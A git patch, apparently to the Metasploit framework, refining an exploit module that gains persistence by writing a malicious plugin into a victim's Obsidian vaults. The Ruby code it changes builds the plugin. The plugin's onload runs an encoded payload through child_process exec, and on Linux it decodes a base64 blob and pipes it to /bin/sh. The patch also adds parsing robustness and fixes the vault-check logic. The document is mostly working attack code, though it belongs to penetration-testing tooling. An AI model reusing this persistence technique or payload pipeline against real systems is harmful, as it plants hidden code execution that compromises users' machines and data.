From 77d0292be315cf9f19c3137333d9614b846e994e Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 14 Dec 2024 17:38:29 -0500 Subject: [PATCH] additional review for obsidian plugin --- .../local/obsidian_plugin_persistence.md | 4 +++ .../local/obsidian_plugin_persistence.rb | 31 +++++++++++++------ 2 files changed, 26 insertions(+), 9 deletions(-) diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md index 29458fd431b2..eb59802c5bce 100644 --- a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -7,6 +7,10 @@ automatically. Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. +### Debugging + +To open the console (similar to chrome), use `ctr+shift+i`. + ## Verification Steps 1. Install the application diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/local/obsidian_plugin_persistence.rb index bc5e2d3a9f7d..eeebb69efabc 100644 --- a/modules/exploits/multi/local/obsidian_plugin_persistence.rb +++ b/modules/exploits/multi/local/obsidian_plugin_persistence.rb @@ -45,6 +45,10 @@ def initialize(info = {}) 'WfsDelay' => 90_000, 'PrependMigrate' => true }, + 'Payload' => { + 'BadChars' => '"' + }, + 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ ['Auto', {} ], ['Linux', { 'Platform' => 'unix' } ], @@ -68,7 +72,7 @@ def initialize(info = {}) end def plugin_name - return datastore['NAME'] unless datastore['NAME'].empty? + return datastore['NAME'] unless datastore['NAME'].blank? rand_text_alphanumeric(4..10) end @@ -98,8 +102,19 @@ def find_vaults config_contents = read_file(config_file) return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil? - vaults = JSON.parse(config_contents) + begin + vaults = JSON.parse(config_contents) + rescue JSON::ParserError + vprint_error("Failed to parse JSON from #{config_file}") + next + end + vaults_found = vaults['vaults'] + if vaults_found.nil? + vprint_error("No vaults found in #{config_file}") + next + end + vaults['vaults'].each do |k, v| if v['open'] print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") @@ -107,7 +122,6 @@ def find_vaults print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}") end end - return vaults_found end vaults_found @@ -127,11 +141,10 @@ def manifest_js(plugin_name) end def main_js(_plugin_name) - Rex::Text.encode_base64(payload.encoded) if ['windows', 'win'].include? session.platform - caller_stub_b64 = payload.encoded.to_s + payload_stub = payload.encoded.to_s else - caller_stub_b64 = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" + payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh" end %% /* @@ -166,7 +179,7 @@ def main_js(_plugin_name) var import_obsidian = require("obsidian"); var ExamplePlugin = class extends import_obsidian.Plugin { async onload() { - var command = "#{caller_stub_b64}"; + var command = "#{payload_stub}"; const { exec } = require("child_process"); exec(command, (error, stdout, stderr) => { if (error) { @@ -187,7 +200,7 @@ def main_js(_plugin_name) end def target_user - return datastore['USER'] unless datastore['USER'].empty? + return datastore['USER'] unless datastore['USER'].blank? return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform @@ -204,7 +217,7 @@ def exploit plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults - fail_with(Failure::NotFound, 'No vaults found') unless find_vaults.empty? + fail_with(Failure::NotFound, 'No vaults found') if vaults.empty? vaults.each_value do |vault| print_status("Uploading plugin to vault #{vault['path']}") # avoid mkdir function because that registers it for delete, and we don't want that for